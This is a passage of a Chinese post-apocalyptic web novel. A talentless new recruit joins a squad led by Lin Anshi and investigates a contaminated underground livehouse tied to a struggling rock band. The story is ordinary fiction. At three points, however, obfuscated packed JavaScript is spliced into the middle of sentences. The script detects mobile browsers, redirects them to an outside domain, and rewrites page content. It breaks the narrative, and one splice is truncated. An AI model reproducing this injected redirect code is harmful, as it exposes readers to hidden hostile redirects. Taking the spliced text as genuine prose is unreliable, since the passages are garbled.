《今天也在努力抱大腿[末世]》 1. 终于有工作了 早上7:55,阮砚瞳站在作战中心的大楼前打哈欠。 这班是非上不可吗。 她昨天下午收到offer有多开心,今天早上就有多难受。 阮砚瞳毕业后,在家躺俩月了。 她毕业的澄渊学院,是人类在遭遇污染进入危机时代后,联邦政府成立的定向培养污染物处理人员的大学。 学院声望非常高,毕业生会被污染物处理局统一接受,相当于100%就业。 毕业包分配,薪资还非常可观,就是一不小心会死掉。 但还是有大批的人视其为梦中情校,挤破头想要去读。毕竟身处危机时代,谁都可能一不小心就死掉,但高薪工作可不是谁都能找得到的。 不过学校招生条件要求很高,能达到标准的都是天选之子,而阮砚瞳就是今年刚从这里毕业的毕业生。 但很遗憾,她还没有入职。 虽然所有毕业生都会被污染物处理局接收,但具体能够进入什么部门哪个队,要看直属领导要不要你。 她已经轮空十轮了,拒信都收麻了。 目前作战部倒是有大量人才缺口,她最想去的也是作战部,相关的学科她有三门都是年级第一。 但为什么没人要呢,因为她偏科严重,综合评级是F,作战部的最低评级。 转行也转不出去,她从小到大学的都是处理污染,做别的工作经验不垂直,专业不对口,照样找不到。 算了,心态放平,工作看缘分。 不行熬到哪个阿姨退休,去食堂打饭呗。安全性高,还能多吃一碗饭。 昨天下午,阮砚瞳正躺在床上,手里抓着薯片袋子,看着墙顶天幕上播放的电影。 剧情讲的是一个人帮朋友买彩票,结果朋友中了大奖一分没给他,他心态失衡情绪崩溃,被污染寄生,把朋友的快乐情绪吸食尽致其死亡。赶到的作战人员发动了天赋技能,捏爆了污染。 电影是根据真实故事改编的,阮砚瞳前几年看到过这个新闻。 这种类型的电影这几年很火,随着这些年对污染的应对越来越成熟,联邦政府宣布污染逐渐在可控范围内。渐渐的,人类也能拿污染娱乐了。 自己没工作,看看别人工作总可以吧。 阮砚瞳正看到作战队组团破解附着链。 叮~ 脑控收到一封邮件。 【阮砚瞳女士您好,作战中心-作战部-作战3队队长林安时(B级)邀请您入队,请回复是否接受邀请。】 阮砚瞳立刻从床上蹦起来。 不是拒信,是封offer? 作战部,队长等级B? 通常C级已经是比较有能力的天赋者了,可以独自带队。阮砚瞳这种F级的小废物,C级以上的她连申请都不敢,但有个B级大佬来捞她。 我靠,不止捡了漏,还抱上大腿了! 阮砚瞳激动的心脏砰砰跳。 【系统提示:情绪熵值波动 +2%】 滚蛋,一边去。 她疯狂滑动邮件,越过后面一大串详细说明,直接拉到回复栏。 管这队长是手滑点到的还是突然想不开,倒手的大腿可别让她跑咯。 我接受我接受,同意同意同意。 阮砚瞳对着全息屏幕疯狂戳。 提交! 阮砚瞳不自觉屏住呼吸。 叮~ 第二封邮件接踵而至。 【恭喜您加入作战部,请于明天早上8:00准时到作战中心报道。具体信息可登陆系统查看,祝您一切顺利。】 啊!终于有工作了! 阮砚瞳兴奋的朝床上倒去,然后在躺下的时候突然反应过来。 嗯?怎么明天就去报道?入职哪有这么着急的? 她翻回第一封后面没读的文字。 除了必要的信息和统一的标准话术,还有一段提示被标红加粗。 注:此岗位是急聘岗位,需明天报道入职,并于报道当天参加任务。 下面还有一行队长留言。 林安时:有一个队员临时有事,内部调不出人手,所以明天就要来出任务哦!能接受再点确认,麻烦这位小朋友啦,入职培训后期会补。 果然,哪有什么神仙岗位能被她捡到便宜的,都是上来就要卖命的牛马岗。 但她也没得选。 人对上班的全部热情止于收到offer。她现在想到昨天激动的自己都觉得是个傻子。 阮砚瞳拍了拍自己的脸,打起精神,走进作战中心的大楼。 虽然早就有所耳闻,但这是阮砚瞳第一次来作战中心。 整个建筑内部以白色系为主,设计上一股科技未来风扑面而来,1-3层是架空的,大厅的视野非常宽阔。 阮砚瞳没多停留,径直走向检测屏障,站在指定位置上。 片刻后指示灯变绿,一个温柔冷静的系统女声传来:“作战员阮砚瞳,祝您顺利。” 看来学校已经把这批入职毕业生的基础信息都移交给了作战中心,系统迅速识别出了阮砚瞳。 进入内部,阮砚瞳按照系统指示来到5楼作战部。 5层的视野非常开阔,两边是通透明亮的落地窗,中间也没什么遮挡。 作为前线部门,作战部的成员大部分时间在出任务,不需要坐班,就也没有固定的工位,只有几张办公桌稀疏错落地放置在中间。 因此出了电梯就能直接能望到5楼尽头的那面巨大的显示墙。 屏幕上是全域污染分析图,所有的已知污染根据等级和状态,被标为不同颜色的小点,星罗棋布地分布在地图各处,旁边是不断更新的各项数据。 阮砚瞳四处张望的时候,不小心跟一个边走路边看报告的职工撞到了一起。 “啊,对不起。”两个人的抱歉声同时响起。 今天没几个人在公司,在的也大都像这样匆匆忙忙的。 实战单位,真跟学校里轻松闲散的状态没法比,阮砚瞳突然就有了上班的实感。 不过这儿一点标识都没有,每个队也没有指定的位置,她要去哪儿报道。 阮砚瞳注意到不远处有个扎着短麻花辫的女生站在工位处,操作着一块很大的显示屏,好像在浏览着什么,于是上前打听。 “请问,您认识林安时吗,我是来报道的新人,入职系统说让我来找她。” 女生转过头来,阮砚瞳看清了她的容貌。五官很舒展,非常有气质,长了双笑眼,像那种学习好脾气也好的邻家姐姐。 女生看到阮砚瞳,笑了笑:“我就是林安时。阮砚瞳是吧?” “是的。”阮砚瞳猛猛点头,第一次工作,她还是有点紧张的,但领导是个看上去很温柔的漂亮姐姐,她很开心。 林安时转头操作屏幕,调出阮砚瞳的基本资料。 阮砚瞳女 21岁 评级:F 天赋说明:无 部门:作战部 队伍:作战3队 直属领导:林安时 状态:试用期(入职考核待完成) 阮砚瞳看到评级上大大的字母,低头摸了摸鼻子。虽然早有准备,但这么显眼地摆出来多少有点丢人了。 林安时微笑地说,“没觉醒天赋是吧。” 评级是按照作战员的综合能力评级的,通常在E级以上,但有一类例外:未觉醒天赋的都是F级。 阮砚瞳一脸窘迫地点了点头。 林安时:“没天赋还能从澄渊毕业的都是其他方面相当优秀的人才,说说吧,各科的毕业评级是多少。” 阮砚瞳听到这话之后心里暖洋洋的,有些羞涩地抬起头,念出自己的成绩 “格斗A+,逻辑共情力A+,射击A+,控制力A,科研B,天赋F。” 林安时鼓掌,“三个A+,了不起,天生的战士。” “没有没有,过奖了。”阮砚瞳惭愧地说道。 并不是她谦虚,虽然林安时这么称赞她,但她知道这些话只能算是安慰。 这个时代里跟污染物打交道的,其他方面再厉害都没用,天赋决定一切。 林安时:“抱歉啊,这么急着让你入职,实在是事发突然。” “不会。我很开心。”阮砚瞳是真心的,虽然这工作确实急了点,但要不是因为这个,她连上班的机会都没有。 况且领导又是个人美心善的姐姐,一点儿没难为她。 “我们今天就要出一个任务。”林安时直入主题。 “第一次任务即新人的试用期考核,会根据任务表现情况,判定考核是否通过。本次的考核官...” 林安时顿了顿,微笑看着阮砚瞳。“是我。” “我可是很严格的哦,不会给你开后门的。”林安时依然笑眯眯地说着。 阮砚瞳认真点头,“我会努力的。” “不过也不用太担心,做到你能做的事情就好。”林安时安慰道。 意思是,也不指望F能帮上什么忙,打打下手尽量别添乱就行了。 “污染区基本准则背一遍。”林安时接着提问。 阮砚瞳虽然没有天赋,但理论课说得过去,尤其是实战方面的理论她张嘴就来。 “一、污染物吸食特定情绪为生,进入污染区后,尽快分辨情绪种类,避免产生此种情绪。 二、保证安全的前提下,尽量选择破解附着链,分离污染物。 三、务必保持情绪稳定,保持理智。 四、情绪熵值在20%以下的人类,放弃营救,包括队友。 五、情绪熵值达到180%的人类,一旦发现,立刻斩杀,包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875169|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 括队友,包括自己。” “很好。”林安时继续说。“能做到吗,一旦符合准则第五条,能立刻杀掉我吗。”林安时说这话时依然笑意盈盈。 但阮砚瞳迅速冷静下来。 她就要进入到真实的污染区了,与学校的模拟试验不同,没人能够保证绝对安全,任何情况都有可能发生。 林安时见她没说话,解释道,“配枪里的子弹目前还无法直接击杀污染物,但杀人足够了。不用担心你以F级的水平杀不了我,在我还没被污染寄生时开枪,就是最好的选择。你的射击成绩很好,完全可以一击致命。” 说完这些,林安时不再继续,她在等阮砚瞳的答复。 阮砚瞳没有真实面对过第五准则的情况,之前也没去多想,觉得走一步看一步,车到山前必有路。 她也没想到林安时会揪着这个问题,没听说过入职还会问这事啊。 这工作第一个让她感到为难的坎比她预想的还要早到。 让她内心真的接受必要时会杀了一个人,还是有点困难。 但林安时在等她,阮砚瞳只能艰难开口,“我尽量。” 林安时显然对这个答复不太满意,严肃地说:“被污染的人再无可救余地,只是被污染物附着的行尸走肉,人都死了还要被污染利用。如果真到这一步,选择立刻斩杀,对谁都是最好的选择。明白了吗?” “明白。”阮砚瞳回复,声音都跟着沉重了起来。 林安时探着身子凑近看着阮砚瞳。 “这就被吓到了吗?”她眨着眼睛笑着问她。 阮砚瞳有点不知所措,队长虽然人挺好的,但怎么转变气氛这么快啊,她有点跟不上。 林安时嘿嘿一笑,“不舍得杀我,说明是个善良的小女孩。” 林安时直起身。“不用担心,真到了那个时候,姜岑会出手的。” 说完,她突然想起来了什么,“哦对,忘了说,我们还有一个队员,叫姜岑,我们一会儿在地库汇合。” 阮砚瞳一愣。“就仨人吗?” 两个老员工就敢拖着一个第一次参加任务的F级吊油瓶往污染区闯? 林安时点点头“就是个D级的小任务,别担心。” 这次任务难度很低,对于她们队来说只能算个休闲局。不过昨天中心以天赋需要为理由,临时借走了她的一个队员,于是她的小队只剩两个人了。 其实这任务她们两个也能完成,但局内规定进污染区至少3人成队,中心也调配不出其他人手,她只能去人才库里现抓一个。 然后她就看到了阮砚瞳这个F级的小可怜,顺手就给捞了。 林安时自信自己的实力能够摆平,所以也没那么介意对方有没有天赋。战斗素养高,认真负责就可以。 她愿意协助新人成长,毕竟她也是因为前辈的帮助才走到今天的。 但阮砚瞳没有这个自信。 D级它也比我高两级啊,阮砚瞳心里想。 林安时没有这种顾虑,继续引导阮砚瞳这个F级新人做战前准备。 “作战中心所有在职人员的情绪数据都要接入系统,你开启下权限。” 阮砚瞳乖乖打开设备,调出情绪数据。 情绪熵值:95% 这个世界是靠情绪稳定的。 污染物入侵40年后,人类终于能够较为准确地检测精神。 正常人的情绪熵值稳定在90%-100%间,当被污染物吸食情绪时,情绪熵值会下降。当情绪熵值下降到20%以下,个体脑死亡,彻底沦为受污染物控制的“尸鬼”。 情绪熵值也会因情绪波动升高,一旦超过180%,几乎百分百被污染寄生,成为“污染宿主”。 控制情绪也是她们的必修课,优秀的作战员必须情绪稳定,才能与污染物持续对抗下去。 阮砚瞳控制情绪的能力还可以,人不可能没有情绪,甚至她的情绪还挺丰富的,但能即时处理掉就行,范围内可控就是稳的。 她觉得林安时这方面应该很强,要带个F级新人进污染区都毫无波澜。 “开了。”阮砚瞳把权限打开。 林安时看到了阮砚瞳接入系统的精神数据,非常健康。 “好,那我最后确认一下。最近是否有身体不适?” “没有。” “近三天是否有比较大的情绪波动?” “没有。” “近期是否有持续性的情绪问题,包括低落、不安、兴奋、焦躁?” 阮砚瞳觉得这点还挺人性的,不高兴就可以不上班,但她现在还不至于。 “没有。” “你平时爱听摇滚乐吗?” “不咋听。” 嗯? 阮砚瞳下意识回答后才反应过来。 这是什么问题? 2. 第一次任务 听不听摇滚跟这工作有什么关系吗? 阮砚瞳还是忍不住问了一嘴,“怎么了,是要去团建吗?” 林安时似乎有很多表要填,没抬头,依旧操作着屏幕,“算吧,如果你把工作当团建的话。” 阮砚瞳没再追问,作为一个新人的自觉她还是有的,领导忙的时候别瞎参合。 林安时忙完了手上的东西,关掉机器,对阮砚瞳说:“走吧,一会儿见了姜岑一起说。” 阮砚瞳跟着林安时走进电梯。作战中心的地下有足足五层,林安时按亮了-2层的按键。 电梯门打开后,就是一道检测屏障,两人通过都很顺利。林安时提醒道,“地库1-3层只有执行任务期间的作战员才可进入,每层地库都有武器舱和移动仓,没什么事就别来了,枪丢了要算在你头上的。” 阮砚瞳点头,跟着林安时来到武器舱。林安时先打开了空气手枪舱。 “挑一把顺手的,这支枪在职期间可以随身携带,如果有突发情况的话能应个急。” 阮砚瞳拿起两支顺眼的掂量了两下。 林安时指了指尽头的小房间,“可以去那儿试枪。” 这种空气手枪不需要子弹,射出的是空气弹,用压力造成一定范围内的击退效果。攻击性肯定没有子弹强,但作用于污染物其实差不多。 阮砚瞳试枪回来时,林安时已经选好了要带的武器,两支小型机关枪,这种机关枪经过改良后非常轻便。 林安时把其中一支递给阮砚瞳,“这次要去的地儿‘人员’可能比较密集,带着吧以防万一。” 接着,林安时打开子弹库,对阮砚瞳说,“这些你都熟吧?” 阮砚瞳点头,她在学校里都学过,子弹有很多种类型,普通攻击的、灼伤效果的、麻痹效果的等等。 但所有子弹本质对污染物用处都不大,污染物靠精神维系,也靠精神杀死,子弹造成的物理伤害只能产生击退或很短的效果,伤不到污染物根本。 但真实的子弹对人类和尸鬼非常有效,所以实战中是需要的。阮砚瞳随手拿了两盒。 林安时看阮砚瞳一脸冷静没什么兴致的样子,突然有了些想法,狡黠一笑。 林安时神秘地对阮砚瞳说,“还有一类你可能没见过。” 阮砚瞳停下手上的动作,疑惑地看向林安时。 林安时压低了声音,仿佛要跟她讲的是什么机关要密。 “现在中心正在研究把精神力浓缩压制到子弹中,从而生产出能够对污染物能造成实质伤害的子弹。” 阮砚瞳听到林安时这句话之后两眼放光。如果林安时说的这个事可行,那依靠这种子弹,没有天赋的F级也能杀死污染物。 林安时看到阮砚瞳的情绪起来了,又无奈地摊摊手。 “不过目前研发的失败率很高,制作成本也很高,无法实现量产,做出来的也不会摆在这的,需要特殊申请。”阮砚瞳刚来了兴致,林安时立刻给她浇了一盆冷水。 她已经算温柔了,刻意避开了这种子弹没有投入生产的根本原因——对于觉醒天赋的作战员来说,不太需要这种东西,天赋本身就是用精神做攻击。因此相对于昂贵的成本,回报并不高。 即使林安时不说,阮砚瞳也能推想到这一层,自觉放弃这种无用的幻想。 林安时靠在一旁的墙壁上,关注着阮砚瞳不断起落的情绪状态。 蛮有意思的,林安时心想。阮砚瞳的喜怒哀乐都写在脸上,情绪转变的很快。不过她一直在后台监控阮砚瞳的情绪熵值,虽然数值会有波动,但都能及时控制住。 情绪不算稳定,但控制力还不错。 这就够了,能及时把自己救回来就行。况且她还会继续成长。 林安时把武器放到登记台上,系统录入信息后提示,“请于任务结束后12小时内归还武器。” 阮砚瞳照猫画虎登记了自己的武器。 离开武器舱,地下二层其余的地盘都属于移动仓。 和车库布局差不多,每个区域位停放着一辆移动仓。 移动仓是目前最快速便捷的出行工具,全自动驾驶,海陆空都能走。 处理局的移动仓走的是特定高度,这个高度只有局里有行驶准许,所以不会出现交通拥堵,能最快抵达污染区。 林安时和阮砚瞳到达这次使用的移动仓前时,看到姜岑早就在那里等着了。 姜岑一头利落的短发和一双锐利的大眼睛让人印象深刻。跟时刻笑意盈盈的林安时不同,姜岑给人的感觉是偏冷酷的。 林安时向姜岑介绍,“这位是新来的小妹妹,第一天入职。” 姜岑向阮砚瞳点头示意。“我叫姜岑,C级,天赋是【巨物】” “呃,我叫阮砚瞳,F级,没...” 阮砚瞳越说声音越小,到最后都要听不清了。 到底要公开处刑几次啊喂!阮砚瞳本来都对自己没天赋这个事脱敏了,怎么上个班要问这么勤啊,她能不能直接做个牌挂胸前。 阮砚瞳 F级没天赋没天赋 “她天赋是全能,3门A+毕业的呢。”林安时再一次帮她打圆场。 姜岑听完,倒是也没说什么,拉开仓门坐了进去。 “我的天赋是【引力】,跟姜岑的很搭,所以一直在一个队。”林安时说完,也钻进了移动仓。 仓内,阮砚瞳在林安时对面坐下,看着这两位姐,感到莫名安心。 污染区和处理人员采取平级分配,队伍中最高等级的人不能低于污染区等级,也就是B级队长最高可处理B级污染区。 跟着一个B级和一个C级去处理D级的污染区,阮砚瞳这次绝对是抱上大腿了,她什么都不用干就能被带飞。 移动仓识别三人的信息后,系统人声传来:临时作战3队的作战员你们好,此次任务编号为D00547,任务地点李南路3号,请队长确认。 林安时:“确认。” 【移动仓启动中,预计10分后抵达。】 “我已经把你拉进频道了,进入污染区后我们在频道沟通。”林安时说。 阮砚瞳打开频道,随手发了个小猫的表情包。 林安时回了另一只可爱小猫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“本次任务目标,尽量破解污染物寄生宿主的附着链,然后清理收集。如果破解不了,就暴力铲除。” “对于本次任务信息,还有什么疑问吗?” 阮砚瞳和姜岑都摇摇头。 阮砚瞳觉得她一个新人,问那么多也没用,到时候看情况跟着干就行了。 至于姜岑,这次任务对她来讲不难,连污染宿主都基本确认了,其余也没什么好细问的。 距离到达目的地还有一点时间,林安时点开了一段视频。 “还是大概了解一下吧,这个乐队真的没啥人气,现场视频都找不到,唯一找到的一个还是3年前的,拍的也挺差的,凑合看吧。” 视频拍摄的很抖,声音也混杂着观众的呐喊和合唱,非常嘈杂,听不太清唱的是什么东西。 一段看着让人头晕的视频过去,结尾处画面终于稳定下来。 台上站着五个人,主唱、吉他、贝斯、鼓手、键盘,人员配置倒是很齐全。 在他们身后,拉着一幅大大的黑色旗帜,上面用红色油漆写着乐队的名字。 “污染物” 一语成谶了这是。 3. 污染物乐队(1) 画面停在乐队名的时候,移动仓内部陷入一种尴尬的安静。 到底什么精神状态才能起这种晦气名字? 林安时似乎对这个画面早有准备,一脸淡定。 阮砚瞳自知她不懂摇滚精神,也不知道在这种情况下应该怎么反应,强忍住没说话。 倒是从开始到现在一直冷着脸的姜岑,扑哧一下笑出声来。 “真行。”姜岑丢下这么一句评价,然后把头扭向窗外。 不一会儿,移动仓停下。系统提示【已到达指定地点,我会在此等待你们返回,祝您工作顺利。】 三人跳下移动仓,阮砚瞳拿着机关枪英姿飒爽地跟在两个姐后面。 知道自己抱上大腿感受都不一样了,阮砚瞳燃起了一股要跟着大佬们拯救世界的雄心壮志。 然后她们在一个破烂的半地下楼梯处停下。 这家livehouse连个酷炫的牌子都没有,入口处的铁门紧闭,要不是门上涂着看不懂的涂鸦,还以为是谁家的地下车库。 不对,地下车库没这么破的,是地下自行车库。 在通往入口的台阶中段,单薄地挂着一条黄色警戒线。 虽说现在技术有限,发现污染区后封锁现场只能做最简单的拦截提示,但别的污染区好歹有点路障指使灯提示牌什么的,这也太寒酸了。 “这儿吗?”姜岑看向林安时。 确实比想象中简陋了,林安时耸耸肩,“应该没错。” 林安时转身看了看阮砚瞳,“你准备好了吗?” “嗯,准备好了!。” “一会你跟着我走。” “好!” “别怕,我很厉害的。” “那我活着就靠你了哈哈。”一点没掩饰,阮砚瞳的目标就是活着。 “那你给我加油!” “当然!加满油!” 阮砚瞳说完,精神上产生了一种很异样的感觉。 她说不清,可能是确定,或者安心。阮砚瞳觉得她和林安时之间已经建立了某种联系。 她原本在今天之前都很忐忑,知道自己没有天赋,一直收拒信的时候,就想到以后会面对很多冷眼和挑战。 但林安时不在意,还一直给她鼓励。 她希望林安时这样的人能拥有很多很多的力量,让她能足够轻松地托举更多人。 哦不对,不仅如此,阮砚瞳急忙又补充一句。 “我也会努力帮上忙的!” 说完,阮砚瞳和林安时对视笑了起来。 阮砚瞳内心上演温情小剧场时,姜岑在一旁冷着脸看着她们一唱一和,丝毫没有加入的意思。 这俩人真配,姜岑心想。 林安时喜欢给人当温柔大姐姐,这又碰巧来了个热血废柴妹。 姜岑觉得林安时挺厉害的,能一直保持对人类的温暖善良。 当然,仅限于无害的人类。姜岑倒是比较喜欢林安时的另一面。就是不知道阮砚瞳会不会喜欢。 总之挺好的,别让她带新人就行。 姜岑没等她俩姐妹情深的告白结束,自己便独自下楼探进警戒线,在铁门前查看。 这是很古老的那种卷帘门,现在已经没什么人在用了。 姜岑把手放在凹槽内试了试。没上锁,应该是监察队来封锁现场的时候顺便关上的,防止路人误入。 哗—— 姜岑只把卷帘门只抬起了一半,不是她不想全打开,但好像这玩意被什么卡出了一样,只能抬起一半。 姜岑蹲下来,看了看里面的情况。 门后就是另一小段拐角楼梯,没有别的门。 很有可能这半开的卷帘门就是故意设置的,来的观众都要弯腰进入。 姜岑摇摇头,不懂这群玩摇滚的。 进到门内,姜岑直起身打开耳麦,通知频道里的一对好姐妹:“我先进去了。” 然后片刻没犹豫没入转角楼梯。 “我们也走吧。”林安时招呼阮砚瞳。 在进入下半段楼梯时,光线一下子暗了下来。这楼梯也没装几个照明设备,仅有的几个小灯泡跟电量不足一样发着微弱的光。阮砚瞳眨几下眼睛缓解了一下不适。 再往下走,连着石台阶的是金属台阶,从这段起就进入了livehouse的内部空间。 虽然有准备,但阮砚瞳看到内部的景象时还是愣了一下。 楼梯下方就是观众区,此时演出还没开始,观众区的灯光亮着,能清楚地看见稀稀疏疏站着的一堆尸鬼。 粗略估算,大概有三十来只。 它们就在那里麻木的站着,一动不动,还有几个尸鬼眼神空洞地朝她望过来。 尸鬼和正常人还是蛮好区分的。它们瞳孔涣散,毫无生气,行动机械。它们的状态,实在是不像个活人。 阮砚瞳缓过神来,轻手轻脚地踩着金属台阶,生怕响声“打扰到”这群尸鬼。 踏到地面,她才觉得安心多了。 “这是你第一次见尸鬼吗?”林安时问。 阮砚瞳点点头。 确实是第一次见“活”的,之前在学校里只见过标本。因为一旦控制尸鬼的污染物死亡,尸鬼当下失去行动力,变成正常的尸体,立刻开始腐烂。 “这个污染物等级很低,没什么多余能量能时刻操控尸鬼,所以它们只会在特定场景下才行动。”林安时解释。 姜岑已经先一步开始搜查,翻出了一些尸鬼身上的证件和通讯设备,在频道里同步。 “这些应该都是来看演出的观众,过程中被污染物吸食了情绪变成尸鬼。” 阮砚瞳加入搜查。在她面前是一位男尸鬼,摊靠在地上,呆滞地望向舞台,手里攥着一小叠宣传单,看上去像是没发完传单回来的工作人员。 她第一次进入污染区,还是有些畏手畏脚,生怕办错了什么事带来麻烦。 刚入职,她不想惹出什么篓子,谨慎为上。 阮砚瞳礼貌地对尸鬼说:“不好意思,这位老师,我借用一下。”说完,小心翼翼从他手中抽出一张宣传单。 这宣传单就是一张非常简陋的A4纸,上半边黑白印着污染物乐队的logo,下半边加大加粗的两行字。 污染物乐队感谢歌迷支持,5月演出票价仅需10元,只为摇滚交个朋友! 李南路3号,地下livehouse 阮砚瞳忍不住想要吐槽。 10块的票价?这钱不挣没准还能落个只为热爱的好名声。非要收这个钱,就显得很寒酸。 这乐队不会真靠这个赚饭钱吧。 没更多信息了,阮砚瞳打算找找别的。 但她有点为难,她不想再拿着这张纸了,但还给他或者乱丢宣传页的话,传单尸鬼老师会生气暴起吗? 她在课上听过案例,部分尸鬼还残留着一些精神,如果受到强烈的刺激,可能会出现极端反应,而尸鬼暴起也会引起污染物的注意。 林安时搜查的同时,始终关注着阮砚瞳这边的情况,看出了她的顾虑。 “不用这么紧张,平常行为刺激不到它的。而且它这个样子不是激活状态,污染物没跟它连接。” “就算连接上了也没什么事,对它们来说,来的都是粮食,高兴还来不及。除非你做什么惹怒到它,或者让它感受到威胁了。” 阮砚瞳听完,放心了不少,随手把传单一扔。 还得是姐有经验,她就是个刚毕业的清澈大学生,只记得课本上的那点知识,啥世面都没见过。 阮砚瞳又翻了两个尸鬼,没翻出个所以然来。如果来的是乐队粉丝的话,是不是应该有点周边或者标识什么的。但这几个人什么都没有,更像是随便进来看看的路人。 摇滚现场这么大魅力吗?路人也能被吸食情绪? 阮砚瞳不知道现场会怎么样,但她现在就觉得闷。 半地下潮湿又不通风,她又第一次跟一群尸鬼在一起,还是不太适应,觉得有点喘不上气。高处的墙上倒是有个通风口,但那个风扇无力的转着,完全不起什么作用。 频道里传来姜岑的声音:“队长,这个区域看起来没什么危险,我自己一个人搞的定。你们可以去别处看看,发现问题我通知你。” “收到,注意安全。”林安时回复完,走向阮砚瞳。“走,我们去后面休息区。” 阮砚瞳跟着林安时从观众区侧边的门进入休息区,进入到了一个堆满各种东西的房间。 这应该是个杂物间,而且没什么条理,什么东西都堆在里面。箱子架子随意地伫在地上,把一个不大的空间堆的像个小型迷宫一样,落脚都费劲。 但阮砚瞳觉得挺好的,这儿没看到什么尸鬼。 林安时立刻开始翻箱倒柜找线索,阮砚瞳也学着开始上手翻箱子。 离她最近的一个箱子半开着,阮砚瞳扒开看了看,里面是一堆零食。不是贵的那种进口货,都是几块钱一包的那种。 阮砚瞳拿出一包,习惯性地看了看生产日期。 豁,还有一个月就到期了。又翻了几个,都是这种情况。 这可能是批发的临期产品。 阮砚瞳合上箱子,发现封口处是一张快递单。她找到了收件人那一栏。 郑向东 阮砚瞳立刻向频道里汇报“我发现郑向东的名字了,在一个零食快递收件人那栏。” 姜岑:“我刚才在地上捡了张被人踩过的宣传单,背面也有他的签名。” 姜岑顿了顿,还是没忍住吐槽。“签的挺差劲的,我都没看出来是什么字,知道这名才大概对得上。” “巧了,我也有发现。”林安时加入了对话。 刚才她挪开了一个高处靠着墙的箱子,发现墙上贴了一张皱皱巴巴的营业执照。 “这家livehouse的经营者也是郑向东。” 既是队长,还能提供场地,那在队里的话语权非常高了。 阮砚瞳没闲着,开始翻另一个箱子。里面放着一些照片、杂志、报道之类的,还有打印下来的帖子。 这些资料倒是不多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875171|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最多的是好几摞宣传单。 跟阮砚瞳在观众区拿到的不一样,这里有好几个版本,每个版本的文案都差不多,就是票价从79一路降到10块。 看来摇滚市场不太好啊。 阮砚瞳又翻了翻起他资料。相关报道挺少的,而且都是些听上去就没什么名气的主办方,比如《一天一个本地摇滚乐队介绍》《校园消息》《就业小灵通》。 10块钱的业就是不是就别劝人就了。 报道内容也大差不差,乐队成员、成立时间、还有成员一些采访什么的。 也不能说是成员采访,应该是郑向东的个人采访,报道上基本所有的信息都围绕他展开。 「超绝吉他手,天才唱作人。」 好贫瘠的高度评价。 「震惊整个摇滚圈,年轻的老炮儿,出道即巅峰。」 倒是实话,毕竟一开始票价有79。 还有一大堆关于他的吹嘘,阮砚瞳懒得往下看了。她翻回文章开头,摘出乐队成员的信息和图片发送到了频道里。 队长、主唱、吉他手:郑向东 吉他:章骁 贝斯:玖歌 鼓手:周鸿星 键盘:赵飞 阮砚瞳又翻了翻箱子里的照片。 奇怪,怎么大部分照片都只有4个人。 阮砚瞳对比了一下采访里贴的合照。 乐队原本有五个人,有一个是女生,但后来这些照片上都没有那个女生。 剩下几张打印下来的帖子,最多的也是在夸郑向东吉他弹的好,歌写的好。还有其他几个人帅啊,厉害啊什么的。 除了那些古早报道的乐队介绍,再找不到女贝斯手玖歌的信息。 先不管了。阮砚瞳把资料放回箱子,推了回去。箱子移开后,她发现了角落里被揉成一团的纸。 阮砚瞳把纸展开,是另一个打印下来的帖子。 【为世界最美bass手玖歌姐姐摇大旗!】 下面一水的梦女式发言。 ID玖歌的歌:“姐姐我可以!” ID一只小猫咪:“姐今晚去哪啊,我跟你走” ID超级歌:“姐性别别卡那么死行不行” ID打倒老登:“姐你拒绝我不会是因为还放不下郑向东那个丑b吧” ID本世纪第一帅:“草,郑向东才是最牛的,你丫有没有审美。” 好劲爆。 还有这个叫本世纪的第一帅的,不会是郑向东自己装成粉丝反黑吧。 阮砚瞳有点犹豫,这些信息能往频道里发吗? 思考了片刻,阮砚瞳还是照了下来,并编辑了一条结论发到了频道里。 【乐队原5人,女贝斯手疑似离队,或因与主唱的感情纠纷导致。】 她写的跟八卦新闻标题似的。 林安时回了两个字。 【哦吼】 再往里走,靠着架子有一个麻袋和一只红色的桶。 阮砚瞳警惕地摸了摸麻袋。 不是人的形状,还好,别在这给我诈出个尸鬼来。 麻袋里装着个棉被,桶里装着一些生活用品,毛巾牙膏之类的。 阮砚瞳摸了摸牙刷头,还有点潮,貌似不久前还有人用过。她嫌弃地甩了甩手。 “我感觉有人长期住在这。”阮砚瞳讲出自己的推测。“我的意思是生前。” “这地儿连个窗户都没有。”姜岑忍不住评价。“按这人的习性和起的名来说,还真挺适合当污染物的。” 姜姐真的很爱锐评。 她们俩说话的时候,林安时把几张图片传到了频道里。是一些房租到期通知,还有水电费账单。 看来污染物乐队真的过的很紧巴,可能已经在解散边缘了。 所以会是因为财务问题崩溃的吗? 阮砚瞳走向站在房间里最大的架子。她觉得事情逐渐清晰了,但她需要更多的线索来印证。 她面前的这个架子直接把房间隔成了一大一小的两个空间,上面摆了一些乐器和设备。如果刚才的那块算生活用品区,这块往后应该就是器材设备区。 虽然东西摆的乱套,但还算是有点规划。 和阮砚瞳目光平齐的高度,一些乐谱散在架子上。 